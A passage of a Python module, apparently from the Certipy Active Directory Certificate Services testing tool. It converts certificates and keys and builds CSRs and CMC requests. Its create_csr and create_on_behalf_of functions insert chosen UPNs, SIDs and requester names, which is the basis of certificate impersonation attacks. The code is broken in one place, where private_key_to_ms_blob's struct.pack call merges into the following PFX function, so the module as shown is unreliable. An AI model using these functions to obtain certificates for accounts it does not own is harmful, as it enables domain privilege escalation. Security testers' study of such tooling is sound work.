- Creating and manipulating X.509 certificates and CSRs
- Handling private keys in various formats
- Supporting Microsoft certificate extensions
- Creating PKCS#12 (PFX) files
- Implementing certificate renewal and archival operations
Key components:
- Certificate creation and conversion functions
- CSR (Certificate Signing Request) operations
- Support for Microsoft-specific extensions
- Key management utilities
"""
import base64
import math
import os
import struct
from typing import List, Optional, Tuple, Union
from asn1crypto import cms as asn1cms
from asn1crypto import core as asn1core
from asn1crypto import csr as asn1csr
from asn1crypto import x509 as asn1x509
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import (
dsa,
ec,
ed448,
ed25519,
padding,
rsa,
)
from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
from cryptography.hazmat.primitives.serialization import (
Encoding,
NoEncryption,
PrivateFormat,
PublicFormat,
pkcs12,
)
from cryptography.x509 import SubjectAlternativeName, SubjectKeyIdentifier
from cryptography.x509.oid import ExtensionOID, NameOID
from impacket.dcerpc.v5.nrpc import checkNullString
from pyasn1.codec.der import decoder
from pyasn1.type.char import UTF8String
from certipy.lib.logger import logging
from certipy.lib.structs import (
CMCAddAttributesInfo,
EnrollmentNameValuePair,
OtherMsgs,
PKIData,
TaggedAttribute,
TaggedCertificationRequest,
TaggedContentInfos,
TaggedRequest,
)
# =========================================================================
# Constants and mappings
# =========================================================================
# Map common DN attribute names to cryptography OIDs
DN_MAP = {
"CN": NameOID.COMMON_NAME,
"SN": NameOID.SURNAME,
"SERIALNUMBER": NameOID.SERIAL_NUMBER,
"C": NameOID.COUNTRY_NAME,
"L": NameOID.LOCALITY_NAME,
"S": NameOID.STATE_OR_PROVINCE_NAME,
"ST": NameOID.STATE_OR_PROVINCE_NAME,
"STREET": NameOID.STREET_ADDRESS,
"O": NameOID.ORGANIZATION_NAME,
"OU": NameOID.ORGANIZATIONAL_UNIT_NAME,
"T": NameOID.TITLE,
"TITLE": NameOID.TITLE,
"G": NameOID.GIVEN_NAME,
"GN": NameOID.GIVEN_NAME,
"E": NameOID.EMAIL_ADDRESS,
"UID": NameOID.USER_ID,
"DC": NameOID.DOMAIN_COMPONENT,
}
# Microsoft-specific OIDs
PRINCIPAL_NAME = x509.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3")
NTDS_CA_SECURITY_EXT = x509.ObjectIdentifier("1.3.6.1.4.1.311.25.2")
NTDS_OBJECTSID = x509.ObjectIdentifier("1.3.6.1.4.1.311.25.2.1")
APPLICATION_POLICIES = x509.ObjectIdentifier("1.3.6.1.4.1.311.21.10")
SMIME_CAPABILITIES = x509.ObjectIdentifier("1.2.840.113549.1.9.15")
# Microsoft-specific ASN.1 OIDs
OID_ENCRYPTED_KEY_HASH = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.21.21")
OID_PRINCIPAL_NAME = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.20.2.3")
OID_CMC_ADD_ATTRIBUTES = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.10.10.1")
OID_NTDS_OBJECTSID = asn1cms.ObjectIdentifier("1.3.6.1.4.1.311.25.2.1")
# Microsoft-specific SAN URL prefix for SID
SAN_URL_PREFIX = "tag:microsoft.com,2022-09-14:sid:"
# Register Microsoft-specific extensions
asn1x509.ExtensionId._map.update(
{
"1.3.6.1.4.1.311.25.2": "security_ext",
}
)
asn1x509.ExtensionId._map.update(
{
"1.2.840.113549.1.9.15": "smime_capability",
}
)
asn1x509.Extension._oid_specs.update(
{
"security_ext": asn1x509.GeneralNames,
}
)
# asn1x509.Extension._oid_specs.update(
# {
# "smime_capability": asn1core.ObjectIdentifier, # type: ignore
# }
# ) # type: ignore
# SMIME capabilities mapping
SMIME_MAP = {
"des": "1.3.14.3.2.7",
"rc4": "1.2.840.113549.3.4",
"3des": "1.2.840.113549.1.9.16.3.6",
"aes128": "2.16.840.1.101.3.4.1.5",
"aes192": "2.16.840.1.101.3.4.1.25",
"aes256": "2.16.840.1.101.3.4.1.45",
}
# =========================================================================
# Certificate identity and parsing functions
# =========================================================================
def cert_id_to_parts(
identities: List[Tuple[Optional[str], Optional[str]]],
) -> Tuple[Optional[str], Optional[str]]:
"""
Extract username and domain from certificate identities.
Args:
identities: List of (id_type, id_value) tuples from certificate
Returns:
Tuple of (username, domain)
"""
usernames: List[str] = []
domains: List[str] = []
if len(identities) == 0:
return (None, None)
for id_type, identity in identities:
if id_type is None or identity is None:
continue
if id_type != "DNS Host Name" and id_type != "UPN":
continue
cert_username = ""
cert_domain = ""
if id_type == "DNS Host Name":
parts = identity.split(".")
if len(parts) == 1:
cert_username = identity
cert_domain = ""
else:
cert_username = parts[0] + "$"
cert_domain = ".".join(parts[1:])
elif id_type == "UPN":
parts = identity.split("@")
if len(parts) == 1:
cert_username = identity
cert_domain = ""
else:
cert_username = "@".join(parts[:-1])
cert_domain = parts[-1]
usernames.append(cert_username)
domains.append(cert_domain)
return ("_".join(usernames), "_".join(domains))
def print_certificate_authentication_information(
certificate: x509.Certificate,
) -> None:
"""
Display all authentication-related information found in a certificate.
This function extracts and prints various identity methods used in a
certificate, including Subject Alternative Names (SAN), Security Identifiers (SID),
and other Microsoft-specific extensions that can be used for authentication.
Args:
certificate: X.509 certificate to analyze and display information for
"""
# Extract all identity information
identities = get_identities_from_certificate(certificate)
san_url_sid = get_object_sid_from_certificate_san_url(certificate)
sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate)
# Print certificate identities with clear section header
logging.info("Certificate identities:")
# Case: No identities found
if len(identities) == 0 and not san_url_sid and not sid_extension_sid:
logging.info(" No identities found in this certificate")
return
# Print Subject Alternative Name entries
if identities:
for id_type, id_value in identities:
logging.info(f" SAN {id_type}: {id_value!r}")
# Print SID from SAN URL (newer format)
if san_url_sid:
logging.info(f" SAN URL SID: {san_url_sid!r}")
# Print SID from Security Extension (common format used by AD CS)
if sid_extension_sid:
logging.info(f" Security Extension SID: {sid_extension_sid!r}")
def print_certificate_identities(
identities: List[Tuple[str, str]],
) -> None:
"""
Print certificate identity information with appropriate formatting.
Args:
identities: List of tuples containing (identity_type, identity_value)
"""
if len(identities) > 1:
logging.info("Got certificate with multiple identities")
for id_type, id_value in identities:
print(f" {id_type}: {id_value!r}")
elif len(identities) == 1:
id_type, id_value = identities[0]
logging.info(f"Got certificate with {id_type} {id_value!r}")
else:
logging.info("Got certificate without identity")
def get_identities_from_certificate(
certificate: x509.Certificate,
) -> List[Tuple[str, str]]:
"""
Extract identity information from a certificate.
Args:
certificate: X.509 certificate to analyze
Returns:
List of tuples with (id_type, id_value)
"""
identities = []
try:
# Get Subject Alternative Name extension
san = certificate.extensions.get_extension_for_oid(
ExtensionOID.SUBJECT_ALTERNATIVE_NAME
)
if not isinstance(san.value, SubjectAlternativeName):
raise ValueError("Invalid SAN value")
# Extract UPN from OtherName fields
for name in san.value.get_values_for_type(x509.OtherName):
if name.type_id == PRINCIPAL_NAME:
identities.append(
(
"UPN",
decoder.decode(name.value, asn1Spec=UTF8String)[0].decode(),
)
)
# Extract DNS names
for name in san.value.get_values_for_type(x509.DNSName):
identities.append(("DNS Host Name", name))
except Exception:
pass
return identities
def get_object_sid_from_certificate_san_url(
certificate: x509.Certificate,
) -> Optional[str]:
"""
Extract a Security Identifier (SID) from a certificate's Subject Alternative Name (SAN)
URL field.
Microsoft AD CS can include SIDs in certificates as URLs with a specific format:
tag:microsoft.com,2022-09-14:sid:{SID}
Args:
certificate: X.509 certificate to analyze
Returns:
Extracted Security Identifier as string, or None if not found
"""
try:
# Get Subject Alternative Name extension
san = certificate.extensions.get_extension_for_oid(
ExtensionOID.SUBJECT_ALTERNATIVE_NAME
)
if not isinstance(san.value, SubjectAlternativeName):
raise ValueError("Invalid SAN value type")
# Search for SIDs in UniformResourceIdentifier fields
for name in san.value.get_values_for_type(x509.UniformResourceIdentifier):
if SAN_URL_PREFIX in name.lower():
# Extract the SID portion that follows the prefix
return name[
name.lower().find(SAN_URL_PREFIX) + len(SAN_URL_PREFIX) :
].strip()
except Exception:
pass
return None
def get_object_sid_from_certificate_sid_extension(
certificate: x509.Certificate,
) -> Optional[str]:
"""
Extract a Security Identifier (SID) from a certificate's Microsoft-specific
NTDS_CA_SECURITY_EXT extension.
This extension is commonly used in Microsoft AD CS environments to associate
certificates with specific Active Directory objects.
Args:
certificate: X.509 certificate to analyze
Returns:
Security Identifier as string, or None if not found
"""
try:
# Get Microsoft security extension
object_sid = certificate.extensions.get_extension_for_oid(NTDS_CA_SECURITY_EXT)
if not isinstance(object_sid.value, x509.UnrecognizedExtension):
raise ValueError(
f"Expected UnrecognizedExtension for security extension, got {type(object_sid.value)}"
)
# Extract SID string (format is binary with an S-1-5... SID string)
sid_value = object_sid.value.value
sid_start = sid_value.find(b"S-1-5")
if sid_start == -1:
logging.debug("Could not find SID pattern in security extension")
return None
return sid_value[sid_start:].decode().strip()
except Exception:
pass
return None
def get_object_sid_from_certificate(
certificate: x509.Certificate,
) -> Optional[str]:
"""
Extract a Security Identifier (SID) from a certificate using multiple methods.
This function attempts to find SIDs in both the Subject Alternative Name URL field
and the Microsoft-specific security extension. Different certificate templates may
use different approaches for storing SIDs, so both methods are tried.
The security extension SID is prioritized as Windows uses this value for
authentication purposes. If only the SAN URL SID is available, that will be returned.
Args:
certificate: X.509 certificate to analyze
Returns:
The security extension SID (preferred) or SAN URL SID if available, otherwise None
"""
# Extract SIDs using both available methods
san_url_sid = get_object_sid_from_certificate_san_url(certificate)
sid_extension_sid = get_object_sid_from_certificate_sid_extension(certificate)
# Log debug information about found SIDs
if san_url_sid:
logging.debug(f"Found SID in SAN URL: {san_url_sid!r}")
if sid_extension_sid:
logging.debug(f"Found SID in security extension: {sid_extension_sid!r}")
# Log a warning if both methods found different SIDs
if san_url_sid and sid_extension_sid and san_url_sid != sid_extension_sid:
logging.warning(f"Conflicting SIDs found in certificate:")
logging.warning(f" SAN URL: {san_url_sid!r}")
logging.warning(f" Security Extension: {sid_extension_sid!r}")
logging.warning(
"Windows will use the security extension SID for authentication purposes"
)
# Return the security extension SID if available (preferred by Windows),
# otherwise fall back to the SAN URL SID
return sid_extension_sid or san_url_sid
# =========================================================================
# Format conversion utilities
# =========================================================================
def csr_to_der(csr: x509.CertificateSigningRequest) -> bytes:
"""Convert CSR to DER format."""
return csr.public_bytes(Encoding.DER)
def csr_to_pem(csr: x509.CertificateSigningRequest) -> bytes:
"""Convert CSR to PEM format."""
return csr.public_bytes(Encoding.PEM)
def cert_to_pem(cert: x509.Certificate) -> bytes:
"""Convert certificate to PEM format."""
return cert.public_bytes(Encoding.PEM)
def cert_to_der(cert: x509.Certificate) -> bytes:
"""Convert certificate to DER format."""
return cert.public_bytes(Encoding.DER)
def key_to_pem(key: PrivateKeyTypes) -> bytes:
"""
Convert private key to PEM format (PKCS#8).
Args:
key: Private key object
Returns:
PEM-encoded key as bytes
"""
return key.private_bytes(
Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()
)
def key_to_der(key: PrivateKeyTypes) -> bytes:
"""
Convert private key to DER format (PKCS#8).
Args:
key: Private key object
Returns:
DER-encoded key as bytes
"""
return key.private_bytes(
Encoding.DER, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()
)
def der_to_pem(der: bytes, pem_type: str) -> str:
"""
Convert DER-encoded data to PEM format.
Args:
der: DER-encoded binary data
pem_type: PEM header/footer type (e.g., "CERTIFICATE")
Returns:
PEM-encoded data as string
"""
pem_type = pem_type.upper()
b64_data = base64.b64encode(der).decode()
return "-----BEGIN %s-----\n%s\n-----END %s-----\n" % (
pem_type,
"\n".join([b64_data[i : i + 64] for i in range(0, len(b64_data), 64)]),
pem_type,
)
def der_to_csr(csr: bytes) -> x509.CertificateSigningRequest:
"""Convert DER-encoded CSR to object."""
return x509.load_der_x509_csr(csr)
def der_to_key(key: bytes) -> PrivateKeyTypes:
"""Convert DER-encoded private key to object."""
return serialization.load_der_private_key(key, None)
def pem_to_key(key: bytes) -> PrivateKeyTypes:
"""Convert PEM-encoded private key to object."""
return serialization.load_pem_private_key(key, None)
def der_to_cert(certificate: bytes) -> x509.Certificate:
"""Convert DER-encoded certificate to object."""
return x509.load_der_x509_certificate(certificate)
def pem_to_cert(certificate: bytes) -> x509.Certificate:
"""Convert PEM-encoded certificate to object."""
return x509.load_pem_x509_certificate(certificate)
# =========================================================================
# Key and certificate operations
# =========================================================================
def generate_rsa_key(key_size: int = 2048) -> rsa.RSAPrivateKey:
"""
Generate a new RSA private key.
Args:
key_size: Key size in bits (default: 2048)
Returns:
RSA private key object
"""
return rsa.generate_private_key(public_exponent=0x10001, key_size=key_size)
def private_key_to_ms_blob(private_key: rsa.RSAPrivateKey) -> bytes:
"""
Convert RSA private key to Microsoft BLOB format.
Args:
private_key: RSA private key
Returns:
Microsoft BLOB format key data
"""
# Get key size
bitlen = private_key.key_size
private_numbers = private_key.private_numbers()
public_numbers = private_numbers.public_numbers
# Calculate byte lengths
bitlen8 = math.ceil(bitlen / 8)
bitlen16 = math.ceil(bitlen / 16)
# Pack in Microsoft's format
return struct.pack(
" bytes:
"""
Create a PKCS#12/PFX container with certificate and private key.
Args:
key: Private key object
cert: Certificate object
password: Optional encryption password
Returns:
PKCS#12 data as bytes
Raises:
TypeError: If key type is not supported
"""
# Validate key type
if not (
isinstance(key, rsa.RSAPrivateKey)
or isinstance(key, dsa.DSAPrivateKey)
or isinstance(key, ec.EllipticCurvePrivateKey)
or isinstance(key, ed25519.Ed25519PrivateKey)
or isinstance(key, ed448.Ed448PrivateKey)
):
# Log error with details to help diagnose the issue
logging.error(
"Private key must be an instance of RSAPrivateKey, DSAPrivateKey, "
f"EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey. Received {type(key)}"
)
logging.error("Dumping private key to PEM format")
logging.error(
key.private_bytes(
Encoding.PEM, PrivateFormat.PKCS8, encryption_algorithm=NoEncryption()
)
)
logging.error("Dumping certificate to PEM format")
logging.error(cert.public_bytes(Encoding.PEM))
raise TypeError(
"Private key must be an instance of RSAPrivateKey, DSAPrivateKey, "
"EllipticCurvePrivateKey, Ed25519PrivateKey or Ed448PrivateKey"
)
# Configure encryption algorithm
encryption = NoEncryption()
if password is not None:
encryption = (
PrivateFormat.PKCS12.encryption_builder()
.kdf_rounds(50000)
.key_cert_algorithm(pkcs12.PBES.PBESv1SHA1And3KeyTripleDESCBC)
.hmac_hash(hashes.SHA1())
.build(bytes(password, "utf-8"))
)
# Create PFX
return pkcs12.serialize_key_and_certificates(
name=b"",
key=key,
cert=cert,
cas=None,
encryption_algorithm=encryption,
)
def load_pfx(
pfx: bytes, password: Optional[bytes] = None
) -> Tuple[Optional[PrivateKeyTypes], Optional[x509.Certificate]]:
"""
Load key and certificate from PKCS#12/PFX data.
Args:
pfx: PKCS#12 data
password: Optional decryption password
Returns:
Tuple of (private_key, certificate)
"""
return pkcs12.load_key_and_certificates(pfx, password)[:-1]
def rsa_pkcs1v15_sign(
data: bytes,
key: PrivateKeyTypes,
hash_algorithm: type[hashes.HashAlgorithm] = hashes.SHA256,
) -> bytes:
"""
Sign data using RSA PKCS#1 v1.5 padding.
Args:
data: Data to sign
key: Private key for signing
hash_algorithm: Hash algorithm to use
Returns:
Signature bytes
Raises:
TypeError: If key is not an RSA private key
"""
if not isinstance(key, rsa.RSAPrivateKey):
raise TypeError("key must be an instance of RSAPrivateKey")
return key.sign(data, padding.PKCS1v15(), hash_algorithm())
def hash_digest(data: bytes, hash_algorithm: type[hashes.HashAlgorithm]) -> bytes:
"""
Compute hash digest of data.
Args:
data: Data to hash
hash_algorithm: Hash algorithm to use
Returns:
Hash digest as bytes
"""
digest = hashes.Hash(hash_algorithm())
digest.update(data)
return digest.finalize()
# =========================================================================
# Subject handling functions
# =========================================================================
def dn_to_components(dn: str) -> List[Tuple[str, str]]:
"""
Parse a Distinguished Name string into components.
Args:
dn: DN string (e.g., "CN=username,DC=domain,DC=local")
Returns:
List of (attribute_name, value) tuples
"""
components = []
component = ""
escape_sequence = False
for c in dn:
if c == "\\":
escape_sequence = True
elif escape_sequence and c != " ":
escape_sequence = False
elif c == ",":
if "=" in component:
attr_name, _, value = component.partition("=")
component = (attr_name.strip().upper(), value.strip())
components.append(component)
component = ""
continue
component += c
# Add the last component
attr_name, _, value = component.partition("=")
component = (attr_name.strip().upper(), value.strip())
components.append(component)
return components
def get_subject_from_str(subject: str) -> x509.Name:
"""
Create a Name object from a subject string.
Args:
subject: Subject DN string
Returns:
x509.Name object
"""
return x509.Name(x509.Name.from_rfc4514_string(subject).rdns[::-1])
# =========================================================================
# Certificate Signing Request (CSR) functions
# =========================================================================
def create_csr(
username: str,
alt_dns: Optional[Union[bytes, str]],
alt_upn: Optional[Union[bytes, str]],
alt_sid: Optional[Union[bytes, str]],
subject: Optional[str],
key_size: int,
application_policies: Optional[List[str]],
smime: Optional[str],
key: Optional[rsa.RSAPrivateKey] = None,
renewal_cert: Optional[x509.Certificate] = None,
) -> Tuple[x509.CertificateSigningRequest, rsa.RSAPrivateKey]:
"""
Create a certificate signing request (CSR) with optional extensions.
Args:
username: Username for the subject
alt_dns: Alternative DNS name
alt_upn: Alternative UPN (User Principal Name)
alt_sid: Alternative SID (Security Identifier)
key: RSA private key (generated if None)
key_size: Key size in bits (for key generation)
subject: Subject DN string
renewal_cert: Certificate being renewed
application_policies: List of application policy OIDs
smime: SMIME capability identifier
Returns:
Tuple of (CSR, private_key)
"""
# Generate key if not provided
if key is None:
logging.debug("Generating RSA key")
key = generate_rsa_key(key_size)
# Start building CSR
certification_request_info = asn1csr.CertificationRequestInfo()
certification_request_info["version"] = "v1"
# Set subject name
if subject:
subject_name = get_subject_from_str(subject)
else:
subject_name = x509.Name(
[
x509.NameAttribute(NameOID.COMMON_NAME, username.capitalize()),
]
)
certification_request_info["subject"] = asn1csr.Name.load(
subject_name.public_bytes()
)
# Set public key
public_key = key.public_key().public_bytes(
Encoding.DER, PublicFormat.SubjectPublicKeyInfo
)
subject_pk_info = asn1csr.PublicKeyInfo.load(public_key)
certification_request_info["subject_pk_info"] = subject_pk_info
# Build CSR attributes
cri_attributes = []
# Add Subject Alternative Name extension if needed
if alt_dns or alt_upn or alt_sid:
general_names = []
# Add DNS name
if alt_dns:
if isinstance(alt_dns, bytes):
alt_dns = alt_dns.decode()
general_names.append(asn1x509.GeneralName({"dns_name": alt_dns}))
# Add UPN
if alt_upn:
if isinstance(alt_upn, bytes):
alt_upn = alt_upn.decode()
general_names.append(
asn1x509.GeneralName(
{
"other_name": asn1x509.AnotherName(
{
"type_id": OID_PRINCIPAL_NAME,
"value": asn1x509.UTF8String(alt_upn).retag(
{"explicit": 0}
),
}
)
}
)
)
# Add SID URL
if alt_sid:
if isinstance(alt_sid, bytes):
alt_sid = alt_sid.decode()
general_names.append(
asn1x509.GeneralName(
{"uniform_resource_identifier": f"{SAN_URL_PREFIX}{alt_sid}"}
)
)
# Create SAN extension
san_extension = asn1x509.Extension(
{"extn_id": "subject_alt_name", "extn_value": general_names}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[san_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Add SMIME capability extension if requested
if smime:
# Create SMIME extension
smime_extension = asn1x509.Extension(
{
"extn_id": "smime_capability",
"extn_value": asn1x509.ParsableOctetString(
asn1core.ObjectIdentifier(SMIME_MAP[smime]).dump()
),
}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[smime_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Add Security Identifier extension if requested
if alt_sid:
# Create security extension
san_extension = asn1x509.Extension(
{
"extn_id": "security_ext",
"extn_value": [
asn1x509.GeneralName(
{
"other_name": asn1x509.AnotherName(
{
"type_id": OID_NTDS_OBJECTSID,
"value": asn1x509.OctetString(
alt_sid.encode()
).retag({"explicit": 0}),
}
)
}
)
],
}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[san_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Add renewal certificate if provided
if renewal_cert:
cri_attributes.append(
asn1csr.CRIAttribute(
{
"type": "1.3.6.1.4.1.311.13.1",
"values": asn1x509.SetOf(
[asn1x509.Certificate.load(cert_to_der(renewal_cert))],
spec=asn1x509.Certificate,
),
}
)
)
# Add Microsoft Application Policies if requested
if application_policies:
# Convert each policy OID string to PolicyIdentifier
application_policy_oids = [
asn1x509.PolicyInformation(
{"policy_identifier": asn1x509.PolicyIdentifier(ap)}
)
for ap in application_policies
]
# Create certificate policies extension
cert_policies = asn1x509.CertificatePolicies(application_policy_oids)
der_encoded_cert_policies = cert_policies.dump()
# Create application policies extension
app_policy_extension = asn1x509.Extension(
{
"extn_id": "1.3.6.1.4.1.311.21.10", # OID for Microsoft Application Policies
"critical": False,
"extn_value": asn1x509.ParsableOctetString(der_encoded_cert_policies),
}
)
# Add extension to CSR attributes
set_of_extensions = asn1csr.SetOfExtensions([[app_policy_extension]])
cri_attribute = asn1csr.CRIAttribute(
{"type": "extension_request", "values": set_of_extensions}
)
cri_attributes.append(cri_attribute)
# Set all CSR attributes
certification_request_info["attributes"] = cri_attributes
# Sign the CSR
signature = rsa_pkcs1v15_sign(certification_request_info.dump(), key)
# Create the final CSR
csr = asn1csr.CertificationRequest(
{
"certification_request_info": certification_request_info,
"signature_algorithm": asn1csr.SignedDigestAlgorithm(
{"algorithm": "sha256_rsa"}
),
"signature": signature,
}
)
return (der_to_csr(csr.dump()), key)
def create_csr_attributes(
template: str,
alt_dns: Optional[Union[bytes, str]] = None,
alt_upn: Optional[Union[bytes, str]] = None,
alt_sid: Optional[Union[bytes, str]] = None,
application_policies: Optional[List[str]] = None,
) -> List[str]:
"""
Create a list of CSR attributes based on the provided template and Subject Alternative Name options.
This function generates the attributes needed when requesting a certificate through Microsoft's
certificate enrollment web services. It formats the template name and any requested SAN entries
according to Microsoft's specifications.
Args:
template: Certificate template name to request
alt_dns: Alternative DNS name to include in the certificate SAN
alt_upn: Alternative User Principal Name (UPN) to include in the certificate SAN
alt_sid: Alternative Security Identifier (SID) to include in the certificate SAN as a URL
Returns:
List of formatted CSR attribute strings ready for use in certificate requests
"""
# Start with the certificate template attribute
attributes = [f"CertificateTemplate:{template}"]
# Only add SAN attribute if at least one SAN value is provided
if any(value is not None for value in [alt_dns, alt_upn, alt_sid]):
san_parts = []
# Process DNS name
if alt_dns:
# Convert bytes to string if needed
if isinstance(alt_dns, bytes):
alt_dns = alt_dns.decode("utf-8")
san_parts.append(f"dns={alt_dns}")
# Process User Principal Name
if alt_upn:
# Convert bytes to string if needed
if isinstance(alt_upn, bytes):
alt_upn = alt_upn.decode("utf-8")
san_parts.append(f"upn={alt_upn}")
# Process Security Identifier
if alt_sid:
# Convert bytes to string if needed
if isinstance(alt_sid, bytes):
alt_sid = alt_sid.decode("utf-8")
# Format SID as URL according to Microsoft's specifications
san_parts.append(f"url={SAN_URL_PREFIX}{alt_sid}")
# Join all SAN parts with ampersands
attributes.append(f"SAN:{'&'.join(san_parts)}")
# Add application policies if provided
if application_policies:
# Join all application policy parts with ampersands
attributes.append(f"ApplicationPolicies:{'&'.join(application_policies)}")
return attributes
# =========================================================================
# Advanced certificate operations
# =========================================================================
def create_renewal(
request: bytes,
cert: x509.Certificate,
key: rsa.RSAPrivateKey,
) -> bytes:
"""
Create a certificate renewal request.
Args:
request: Original request data
cert: Certificate being renewed
key: Private key for signing
Returns:
CMC renewal request as bytes
Raises:
ValueError: If signature algorithm is not set
"""
x509_cert = asn1x509.Certificate.load(cert_to_der(cert))
signature_hash_algorithm = cert.signature_hash_algorithm.__class__
if signature_hash_algorithm is type(None):
raise ValueError("Signature hash algorithm is not set in the certificate")
# Create SignerInfo
issuer_and_serial = asn1cms.IssuerAndSerialNumber(
{
"issuer": x509_cert.issuer,
"serial_number": x509_cert.serial_number,
}
)
digest_algorithm = asn1cms.DigestAlgorithm(
{"algorithm": signature_hash_algorithm.name}
)
# Create signed attributes with renewal certificate
signed_attribs = asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{
"type": "1.3.6.1.4.1.311.13.1",
"values": asn1cms.SetOfAny(
[asn1x509.Certificate.load(cert_to_der(cert))],
spec=asn1x509.Certificate,
),
}
),
asn1cms.CMSAttribute(
{
"type": "message_digest",
"values": [hash_digest(request, signature_hash_algorithm)],
}
),
]
)
# Sign the attributes
attribs_signature = rsa_pkcs1v15_sign(
signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm
)
# Create SignerInfo
signer_info = asn1cms.SignerInfo(
{
"version": 1,
"sid": issuer_and_serial,
"digest_algorithm": digest_algorithm,
"signature_algorithm": x509_cert["signature_algorithm"],
"signature": attribs_signature,
"signed_attrs": signed_attribs,
}
)
# Create SignedData
content_info = asn1cms.EncapsulatedContentInfo(
{
"content_type": "data",
"content": request,
}
)
signed_data = asn1cms.SignedData(
{
"version": 3,
"digest_algorithms": [digest_algorithm],
"encap_content_info": content_info,
"certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})],
"signer_infos": [signer_info],
}
)
# Create CMC ContentInfo
cmc = asn1cms.ContentInfo(
{
"content_type": "signed_data",
"content": signed_data,
}
)
return cmc.dump()
def create_on_behalf_of(
request: bytes,
on_behalf_of: str,
cert: x509.Certificate,
key: rsa.RSAPrivateKey,
) -> bytes:
"""
Create a certificate request on behalf of another user.
Args:
request: Original request data
on_behalf_of: Username to request on behalf of
cert: Certificate for signing
key: Private key for signing
Returns:
CMC on-behalf-of request as bytes
Raises:
ValueError: If signature algorithm is not set
"""
x509_cert = asn1x509.Certificate.load(cert_to_der(cert))
signature_hash_algorithm = cert.signature_hash_algorithm.__class__
if signature_hash_algorithm is type(None):
raise ValueError("Signature hash algorithm is not set in the certificate")
# Create SignerInfo
issuer_and_serial = asn1cms.IssuerAndSerialNumber(
{
"issuer": x509_cert.issuer,
"serial_number": x509_cert.serial_number,
}
)
digest_algorithm = asn1cms.DigestAlgorithm(
{"algorithm": signature_hash_algorithm.name}
)
# Create requester name attribute
requester_name = EnrollmentNameValuePair(
{
"name": checkNullString("requestername"),
"value": checkNullString(on_behalf_of),
}
)
# Create signed attributes with requester name
signed_attribs = asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{
"type": "1.3.6.1.4.1.311.21.10",
"values": [asn1cms.ObjectIdentifier("1.3.6.1.5.5.7.3.2")],
}
),
asn1cms.CMSAttribute(
{"type": "1.3.6.1.4.1.311.13.2.1", "values": [requester_name]}
),
asn1cms.CMSAttribute(
{
"type": "message_digest",
"values": [hash_digest(request, signature_hash_algorithm)],
}
),
]
)
# Sign the attributes
attribs_signature = rsa_pkcs1v15_sign(
signed_attribs.dump(), key, hash_algorithm=signature_hash_algorithm
)
# Create SignerInfo
signer_info = asn1cms.SignerInfo(
{
"version": 1,
"sid": issuer_and_serial,
"digest_algorithm": digest_algorithm,
"signature_algorithm": x509_cert["signature_algorithm"],
"signature": attribs_signature,
"signed_attrs": signed_attribs,
}
)
# Create SignedData
content_info = asn1cms.EncapsulatedContentInfo(
{
"content_type": "data",
"content": request,
}
)
signed_data = asn1cms.SignedData(
{
"version": 3,
"digest_algorithms": [digest_algorithm],
"encap_content_info": content_info,
"certificates": [asn1cms.CertificateChoices({"certificate": x509_cert})],
"signer_infos": [signer_info],
}
)
# Create CMC ContentInfo
cmc = asn1cms.ContentInfo(
{
"content_type": "signed_data",
"content": signed_data,
}
)
return cmc.dump()
def create_key_archival(
csr: x509.CertificateSigningRequest,
private_key: rsa.RSAPrivateKey,
cax_cert: x509.Certificate,
) -> bytes:
"""
Create a key archival request.
Args:
csr: Certificate signing request
private_key: Private key to be archived
cax_cert: Key archival agent certificate
Returns:
CMC key archival request as bytes
Raises:
ValueError: If signature algorithm is not set
TypeError: If CAX certificate doesn't have an RSA public key
"""
x509_cax_cert = asn1x509.Certificate.load(cert_to_der(cax_cert))
x509_csr = asn1csr.CertificationRequest.load(csr_to_der(csr))
signature_hash_algorithm = csr.signature_hash_algorithm.__class__
if signature_hash_algorithm is type(None):
raise ValueError("Signature hash algorithm is not set in the CSR")
# Generate symmetric encryption key and IV
symmetric_key = os.urandom(32) # 256-bit AES key
iv = os.urandom(16) # 128-bit IV for CBC mode
# Get CAX certificate public key
cax_key = cax_cert.public_key()
if not isinstance(cax_key, rsa.RSAPublicKey):
raise TypeError("cax_key must be an instance of RSAPublicKey")
# Encrypt symmetric key with CAX public key
encrypted_key = cax_key.encrypt(symmetric_key, padding.PKCS1v15())
# Create EnvelopedData
# Set up recipient info
cax_issuer_and_serial = asn1cms.IssuerAndSerialNumber(
{
"issuer": x509_cax_cert.issuer,
"serial_number": x509_cax_cert.serial_number,
}
)
recipient_info = asn1cms.KeyTransRecipientInfo(
{
"version": 0,
"rid": cax_issuer_and_serial,
"key_encryption_algorithm": asn1cms.KeyEncryptionAlgorithm(
{"algorithm": "rsaes_pkcs1v15"}
),
"encrypted_key": encrypted_key,
}
)
# Set up encryption algorithm parameters
encryption_algorithm = asn1cms.EncryptionAlgorithm(
{"algorithm": "aes256_cbc", "parameters": iv}
)
# Convert private key to Microsoft BLOB format
private_key_bytes = private_key_to_ms_blob(private_key)
# Encrypt private key with symmetric key
cipher = Cipher(algorithms.AES(symmetric_key), modes.CBC(iv))
# Pad data to block size
padder = PKCS7(encryption_algorithm.encryption_block_size * 8).padder()
